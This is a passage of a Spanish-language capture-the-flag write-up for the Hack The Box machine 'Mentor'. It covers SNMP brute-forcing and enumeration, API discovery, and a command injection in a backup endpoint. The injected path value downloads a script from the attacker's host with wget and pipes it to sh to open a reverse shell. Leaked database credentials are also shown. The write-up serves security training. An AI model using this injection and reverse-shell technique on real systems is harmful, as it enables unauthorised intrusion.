This page looks best with JavaScript enabled

Hack The Box - Mentor

 •  ✍️ sckull

Mentor expone el servicio snmp y una API la cual enumeramos, en esta ultima encontramos una vulnerabilidad de Command Injection la cual nos permitio acceder a un contenedor de docker. Una vez dentro, descubrimos credenciales en la base de datos postgres, con ello logramos acceder a un primer usuario por SSH. Accedimos a un segundo usuario con la configuracion del servicio snmp que, finalmente nos permitio escalar privilegios como root.

Nombre Mentor box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.193
Maker

kavigihan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.6, 4.9, 4.8, 5.2, 5.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[10, 10, 10, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), ssh (22) y snmp (161 udp).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# nmap -p$ports -sV -sC 10.10.11.193 -oN nmap_scan
Nmap scan report for 10.10.11.193 (10.10.11.193)
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_  256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

#  nmap -sU -p- --min-rate 10000 10.10.11.193
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 15:30 CST
Warning: 10.10.11.193 giving up on port because retransmission cap hit (10).
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.15s latency).
Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 73.58 seconds

snmp

Ejecutamos sobre el puerto snmp el modulo auxiliar snmp_login de metasploit, con el objetivo de encontrar el ‘community’ de este servicio, utilizando un wordlist sugerido por este mismo modulo. Al finalizar la ejecucion se muestra que el community es internal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> show options

Module options (auxiliary/scanner/snmp/snmp_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   false                                                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                          no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                          no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                                           no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                                                         no        The password to test
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/snmp_default_p  no        File containing communities, one per line
                     ass.txt
   RHOSTS            10.10.11.193                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT             161                                                            yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads (max one per host)
   USER_AS_PASS      false                                                          no        Try the username as the password for all users
   VERBOSE           true                                                           yes       Whether to print output for all attempts
   VERSION           2c                                                             yes       The SNMP version to scan (Accepted: 1, 2c, all)

[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> run

[!] No active DB -- Credential data will not be saved!
[+] 10.10.11.193:161 - Login Successful: internal (Access level: read-only); Proof (sysDescr.0): Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>

Utilizamos snmp-check para enumerar la informacion del servicio.

  • El nombre de las interfaces sugieren docker en ejecucion, asi mismo los procesos.
  • Se muestra la ejecucion de uvicorn en ejecucion por el puerto 8000.
  • Observamos la ejecucion de un script en python el cual tiene algun tipo de secret o contraseña como argumento.
1
2
3
4
5
6
[.. snip ..]
  2086                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
  2111                  runnable              login.py              /usr/bin/python3      /usr/local/bin/login.py kj23sadkj123as0-d213
  2163                  unknown               kworker/1:1-cgroup_destroy
  2304                  unknown               kworker/u256:0-flush-253:0
[.. snip ..]
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
➜  mentor snmp-check -v 2c -c internal 10.10.11.193
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 10.10.11.193:161 using SNMPv2c and community 'internal'

[*] System information:

  Host IP address               : 10.10.11.193
  Hostname                      : mentor
  Description                   : Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
  Contact                       : Me <admin@mentorquotes.htb>
  Location                      : Sitting on the Dock of the Bay
  Uptime snmp                   : 00:24:34.54
  Uptime system                 : 00:24:15.33
  System date                   : 2023-1-9 00:50:03.0

[*] Network information:

  IP forwarding enabled         : yes
  Default TTL                   : 64
  TCP segments received         : 2948
  TCP segments sent             : 2987
  TCP segments retrans          : 284
  Input datagrams               : 21674
  Delivered datagrams           : 12658
  Output datagrams              : 13646

[*] Network interfaces:

  Interface                     : [ up ] lo
  Id                            : 1
  Mac Address                   : :::::
  Type                          : softwareLoopback
  Speed                         : 10 Mbps
  MTU                           : 65536
  In octets                     : 71962
  Out octets                    : 71962

[.. snip ..]

  Interface                     : [ up ] docker0
  Id                            : 7
  Mac Address                   : 02:42:65:5c:81:8c
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] br-028c7a43f929
  Id                            : 8
  Mac Address                   : 02:42:b4:98:ef:68
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] veth6668ea8
  Id                            : 10
  Mac Address                   : 5a:de:19:b2:ab:c4
  Type                          : ethernet-csmacd
  Speed                         : 4294 Mbps
  MTU                           : 1500
  In octets                     : 59250
  Out octets                    : 72874

  Interface                     : [ up ] veth1c20142
  Id                            : 12
  Mac Address                   : 12:8e:b3:50:4e:1a
  Type                          : ethernet-csmacd
  Speed                         : 4294 Mbps
  MTU                           : 1500
  In octets                     : 367042
  Out octets                    : 9335026

  Interface                     : [ up ] vethf0772bf
  Id                            : 14
  Mac Address                   : ae:38:fd:4d:3e:8c
  Type                          : ethernet-csmacd
  Speed                         : 4294 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 1160


[*] Network IP:

  Id                    IP Address            Netmask               Broadcast
  2                     10.10.11.193          255.255.254.0         1
  1                     127.0.0.1             255.0.0.0             0
  7                     172.17.0.1            255.255.0.0           1
  6                     172.18.0.1            255.255.0.0           1
  3                     172.19.0.1            255.255.0.0           1
  8                     172.20.0.1            255.255.0.0           1
  4                     172.21.0.1            255.255.0.0           1
  5                     172.22.0.1            255.255.0.0           1

[*] Routing information:

  Destination           Next hop              Mask                  Metric
  0.0.0.0               10.10.10.2            0.0.0.0               1
  10.10.10.0            0.0.0.0               255.255.254.0         0
  172.17.0.0            0.0.0.0               255.255.0.0           0
  172.18.0.0            0.0.0.0               255.255.0.0           0
  172.19.0.0            0.0.0.0               255.255.0.0           0
  172.20.0.0            0.0.0.0               255.255.0.0           0
  172.21.0.0            0.0.0.0               255.255.0.0           0
  172.22.0.0            0.0.0.0               255.255.0.0           0

[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote port           State
  0.0.0.0               22                    0.0.0.0               0                     listen
  10.10.11.193          46808                 8.8.8.8               53                    synSent
  127.0.0.1             45391                 0.0.0.0               0                     listen
  127.0.0.53            53                    0.0.0.0               0                     listen
  172.22.0.1            81                    0.0.0.0               0                     listen
  172.22.0.1            5432                  0.0.0.0               0                     listen
  172.22.0.1            5432                  172.22.0.3            33920                 established
  172.22.0.1            5432                  172.22.0.3            33932                 established
  172.22.0.1            8000                  0.0.0.0               0                     listen
  172.22.0.1            36428                 172.22.0.1            8000                  closeWait
  172.22.0.1            39784                 172.22.0.1            8000                  timeWait
  172.22.0.1            41210                 172.22.0.4            5432                  established
  172.22.0.1            41216                 172.22.0.4            5432                  established
  172.22.0.1            53916                 172.22.0.1            8000                  closeWait
  172.22.0.1            54528                 172.22.0.1            8000                  timeWait
  172.22.0.1            56946                 172.22.0.1            8000                  timeWait

[*] Listening UDP ports:

  Local address         Local port
  0.0.0.0               68
  0.0.0.0               161
  127.0.0.53            53

[*] Processes:

  Id                    Status                Name                  Path                  Parameters
  1                     runnable              systemd               /sbin/init
  2                     runnable              kthreadd
  3                     unknown               rcu_gp
  4                     unknown               rcu_par_gp
  5                     unknown               netns
  7                     unknown               kworker/0:0H-events_highpri
  9                     unknown               kworker/0:1H-events_highpri
[.. snip ..]
  275                   unknown               cryptd
  276                   unknown               scsi_tmf_31
  296                   unknown               kworker/u256:25-flush-253:0
  297                   unknown               kworker/u256:26-events_power_efficient
  338                   runnable              scsi_eh_32
  339                   unknown               scsi_tmf_32
  362                   unknown               kdmflush
  363                   unknown               kdmflush
  395                   unknown               raid5wq
  453                   runnable              jbd2/dm-0-8
  454                   unknown               ext4-rsv-conver
  515                   runnable              systemd-journal       /lib/systemd/systemd-journald
  550                   unknown               kaluad
  552                   unknown               kmpath_rdacd
  553                   unknown               kmpathd
  554                   unknown               kmpath_handlerd
  555                   runnable              multipathd            /sbin/multipathd      -d -s
  560                   runnable              systemd-udevd         /lib/systemd/systemd-udevd
  589                   runnable              systemd-network       /lib/systemd/systemd-networkd
  650                   unknown               nfit
  748                   runnable              jbd2/sda2-8
  749                   unknown               ext4-rsv-conver
  765                   runnable              systemd-resolve       /lib/systemd/systemd-resolved
  766                   runnable              systemd-timesyn       /lib/systemd/systemd-timesyncd
  780                   runnable              VGAuthService         /usr/bin/VGAuthService
  784                   runnable              vmtoolsd              /usr/bin/vmtoolsd
  804                   runnable              dhclient              /sbin/dhclient        -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
  901                   runnable              dbus-daemon           @dbus-daemon          --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  906                   runnable              irqbalance            /usr/sbin/irqbalance  --foreground
  907                   runnable              networkd-dispat       /usr/bin/python3      /usr/bin/networkd-dispatcher --run-startup-triggers
  908                   runnable              polkitd               /usr/libexec/polkitd  --no-debug
  909                   runnable              rsyslogd              /usr/sbin/rsyslogd    -n -iNONE
  910                   runnable              snapd                 /usr/lib/snapd/snapd
  911                   runnable              systemd-logind        /lib/systemd/systemd-logind
  912                   runnable              udisksd               /usr/libexec/udisks2/udisksd
  934                   runnable              ModemManager          /usr/sbin/ModemManager
  1037                  unknown               kworker/0:4-events
  1218                  runnable              cron                  /usr/sbin/cron        -f -P
  1220                  running               snmpd                 /usr/sbin/snmpd       -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
  1239                  runnable              agetty                /sbin/agetty          -o -p -- \u --noclear tty1 linux
  1252                  runnable              containerd            /usr/bin/containerd
  1256                  runnable              sshd                  sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
  1277                  runnable              apache2               /usr/sbin/apache2     -k start
  1278                  runnable              apache2               /usr/sbin/apache2     -k start
  1279                  runnable              apache2               /usr/sbin/apache2     -k start
  1345                  runnable              dockerd               /usr/bin/dockerd      -H fd:// --containerd=/run/containerd/containerd.sock
  1690                  runnable              login.sh              /bin/bash             /usr/local/bin/login.sh
  1754                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 5432 -container-ip 172.22.0.4 -container-port 5432
  1768                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 96e44c5692920491cdb954f3d352b3532a88425979cd48b3959b63bfec98a6f4 -address /run/containerd/containerd.sock
  1790                  runnable              postgres              postgres
  1870                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 8000 -container-ip 172.22.0.3 -container-port 8000
  1886                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 3fae9c57b65874731f9524f5c897b652e33017540baaa48d1858add7cf8ecf05 -address /run/containerd/containerd.sock
  1905                  runnable              python3               python3               -m uvicorn app.main:app --reload --workers 2 --host 0.0.0.0 --port 8000
  1914                  runnable              postgres              postgres: checkpointer
  1915                  runnable              postgres              postgres: background writer
  1916                  runnable              postgres              postgres: walwriter
  1917                  runnable              postgres              postgres: autovacuum launcher
  1918                  runnable              postgres              postgres: stats collector
  1919                  runnable              postgres              postgres: logical replication launcher
  1979                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 81 -container-ip 172.22.0.2 -container-port 80
  1996                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 0e6eebdd915c52e9bb583a0da3b64ccbe576567da478e5ada865de40e47b37e1 -address /run/containerd/containerd.sock
  2017                  runnable              python                python                main.py
  2034                  runnable              python3               /usr/local/bin/python3  -c from multiprocessing.semaphore_tracker import main;main(4)
  2035                  runnable              python3               /usr/local/bin/python3  -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
  2085                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41210) idle
  2086                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
  2111                  runnable              login.py              /usr/bin/python3      /usr/local/bin/login.py kj23sadkj123as0-d213
  2163                  unknown               kworker/1:1-cgroup_destroy
  2304                  unknown               kworker/u256:0-flush-253:0
  2351                  unknown               kworker/1:2-events
  2431                  unknown               kworker/0:0-events
  2447                  unknown               kworker/1:0-events
  2452                  unknown               kworker/0:2-events

[*] Storage information:

  Description                   : ["Physical memory"]
  Device id                     : [#<SNMP::Integer:0x00005563d1c5b9a0 @value=1>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005563d1c59d30 @value=1024>]
  Memory size                   : 3.80 GB
  Memory used                   : 1.06 GB

[.. snip ..]

  Description                   : ["/run/snapd/ns"]
  Device id                     : [#<SNMP::Integer:0x00005563d1ca9c68 @value=55>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005563d1ca7eb8 @value=4096>]
  Memory size                   : 388.98 MB
  Memory used                   : 1.71 MB


[*] File system information:

  Index                         : noSuchInstance
  Mount point                   : noSuchInstance
  Access                        : noSuchInstance
  Bootable                      : noSuchInstance

[*] Device information:

  Id                    Type                  Status                Descr
  196608                unknown               running               GenuineIntel: Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
  196609                unknown               running               GenuineIntel: Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
  262145                unknown               running               network interface lo
  262146                unknown               running               network interface eth0
  262147                unknown               running               network interface br-24ddaa1f3b47
  262148                unknown               running               network interface br-3d63c18e314d
  262149                unknown               running               network interface br-7d5c72654da7
  262150                unknown               running               network interface br-a8a89c3bf6ff
  262151                unknown               running               network interface docker0
  262152                unknown               running               network interface br-028c7a43f929
  262154                unknown               running               network interface veth6668ea8
  262156                unknown               running               network interface veth1c20142
  262158                unknown               running               network interface vethf0772bf
  786432                unknown               unknown               Guessing that there's a floating point co-processor

[*] Software components:

  Index                 Name
  1                     adduser_3.118ubuntu5_all
  2                     amd64-microcode_3.20191218.1ubuntu2_amd64
  3                     apache2_2.4.52-1ubuntu4.2_amd64
[.. snip ..]
  715                   zstd_1.4.8+dfsg-3build1_amd64

➜  mentor

Web Site

El sitio web redirige al dominio mentorquotes.htb.

1
2
3
4
5
6
7
8
➜  mentor curl -sI 10.10.11.193
HTTP/1.1 302 Found
Date: Sun, 08 Jan 2023 20:48:00 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://mentorquotes.htb/
Content-Type: text/html; charset=iso-8859-1

➜  mentor

El sitio muestra una lista de frases.
image

Directory Brute Forcing

feroxbuster no muestra alguna otra direccion o directorio del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  mentor feroxbuster -w $MD -u http://mentorquotes.htb/ --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://mentorquotes.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      167l      621w     5506c http://mentorquotes.htb/
403      GET        9l       28w      281c http://mentorquotes.htb/server-status

api.mentorquotes.htb

Con la ejecucion de wfuzz descubrimos el subdominio api.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
➜  mentor wfuzz -c -w bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" --hl 9 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mentorquotes.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000040:   404        0 L      2 W        22 Ch       "api"
000037212:   400        10 L     35 W       308 Ch      "*"

Total time: 976.1970
Processed Requests: 100000
Filtered Requests: 99998
Requests/sec.: 102.4383

feroxbuster muestra distintas direcciones del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  mentor feroxbuster -u http://api.mentorquotes.htb/ -w raft-medium-directories.txt --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://api.mentorquotes.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
307        0l        0w        0c http://api.mentorquotes.htb/admin
200       31l       62w      969c http://api.mentorquotes.htb/docs
405        1l        3w       31c http://api.mentorquotes.htb/admin/backup
307        0l        0w        0c http://api.mentorquotes.htb/users
307        0l        0w        0c http://api.mentorquotes.htb/quotes
WLD        0l        0w        0c Got 307 for http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 (url length: 32)
WLD         -         -         - http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 redirects to => http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7/
405        1l        3w       31c http://api.mentorquotes.htb/users/add
403        9l       28w      285c http://api.mentorquotes.htb/server-status

API

La direccion /docs nos muestra la documentacion de la API. Ademas se muestra el usuario james como email.
image

Auth as James

Utilizando la informacion encontrada intentamos logearnos.
image

La respuesta es una cookie.
image

Api

Utilizando la cookie enumeramos las rutas, vemos en /users/ dos usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
➜  mentor curl -sX GET http://api.mentorquotes.htb/users/ -H "Accept: application/json" -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" | jq
[
  {
    "id": 1,
    "email": "james@mentorquotes.htb",
    "username": "james"
  },
  {
    "id": 2,
    "email": "svc@mentorquotes.htb",
    "username": "service_acc"
  }
]
➜  mentor 

Observamos en la ruta /admin/, la ruta /check y /backup. En backup se muestra que el metodo no esta permitido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
➜  mentor cookie="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/ -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "admin_funcs": {
    "check db connection": "/check",
    "backup the application": "/backup"
  }
}
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/check -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "details": "Not implemented yet!"
}
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/backup -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "detail": "Method Not Allowed"
}
➜  mentor 

Al intentar con el metodo POST muestra que el parametro body es requerido, al enviarlo, muestra que es necesario el path.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" | jq
{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}
➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616"}' | jq
{
  "detail": [
    {
      "loc": [
        "body",
        "path"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}
➜  mentor 

root - Docker Container

Blind Command Injection

Al enviar los parametros requeridos muestra “Done”.

1
2
3
4
5
➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616", "path":"/etc/passwd"}' | jq
{
  "INFO": "Done!"
}
➜  mentor 

Intentamos realizar ‘bypass’ para ejecutar comandos, en este caso ejecutamos wget, se observa la solicitud realizada a nuestra maquina. Seguramente realiza algun tipo de backup a la direccion dada al archivo con nombre app_backkup.tar.
image

Shell

Ejecutamos shells y modificamos el valor de path para ejecutar una shell inversa.

1
2
3
4
{
   "body":"616",
   "path":"/etc/passwd;$(wget -qO- 10.10.14.207/10.10.14.207:1335|sh)"
}

Tras realizar la solicitud logramos obtener acceso a la maquina como root. Anteriormente encontramos informacion sobre docker, seguramente obtuvimos acceso a un contenedor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  mentor rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from api.mentorquotes.htb [10.10.11.193] 43032
/bin/sh: can't access tty; job control turned off
/app # which python
/usr/local/bin/python
/app # python -c 'import pty;pty.spawn("/bin/bash");'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/local/lib/python3.6/pty.py", line 156, in spawn
    os.execlp(argv[0], *argv)
  File "/usr/local/lib/python3.6/os.py", line 542, in execlp
    execvp(file, args)
  File "/usr/local/lib/python3.6/os.py", line 559, in execvp
    _execvpe(file, args)
  File "/usr/local/lib/python3.6/os.py", line 583, in _execvpe
    exec_func(file, *argrest)
FileNotFoundError: [Errno 2] No such file or directory
/app # whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app
/app #

Encontramos los archivos de la API, entre ellos de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/app # ls -lah
total 24K
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
drwxr-xr-x    1 root     root        4.0K Mar  3 23:29 ..
-rw-r--r--    1 root     root        1.0K Jun 12  2022 .Dockerfile.swp
-rw-r--r--    1 root     root         522 Nov  3 12:58 Dockerfile
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 app
-rw-r--r--    1 root     root         672 Jun  4  2022 requirements.txt
/app # cd app
/app/app # ls -lah
total 28K
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 ..
-rw-r--r--    1 root     root           0 Jun  4  2022 __init__.py
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 __pycache__
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 api
-rw-r--r--    1 root     root           0 Jun  4  2022 config.py
-rw-r--r--    1 root     root        1001 Jun  7  2022 db.py
-rw-r--r--    1 root     root        1.1K Jun  4  2022 main.py
-rw-r--r--    1 root     root         704 Jun  4  2022 requirements.txt
/app/app #
/app/app # cat db.py
import os

from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database

# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
    "quotes",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("title", String(50)),
    Column("description", String(50)),
    Column("created_date", DateTime, default=func.now(), nullable=False)
)

# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
    "users",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("email", String(50)),
    Column("username", String(50)),
    Column("password", String(128) ,nullable=False)
)


# Databases query builder
database = Database(DATABASE_URL)

/app/app #

En admin.py se muestra una segunda direccion de base de datos donde vemos la direccion de backup por la cual obtuvimos acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/app/app/api # cat admin.py
from fastapi import APIRouter, Depends
from app.api.utils import is_admin, is_logged
from app.api.models import backup
import os

router = APIRouter()

WORK_DIR = os.getenv('WORK_DIR', '/app')
DATABASE_URL = os.getenv('DATABASE_URL', 'postgresql://postgres:postgres@192.168.1.4/hello_fastapi_dev')

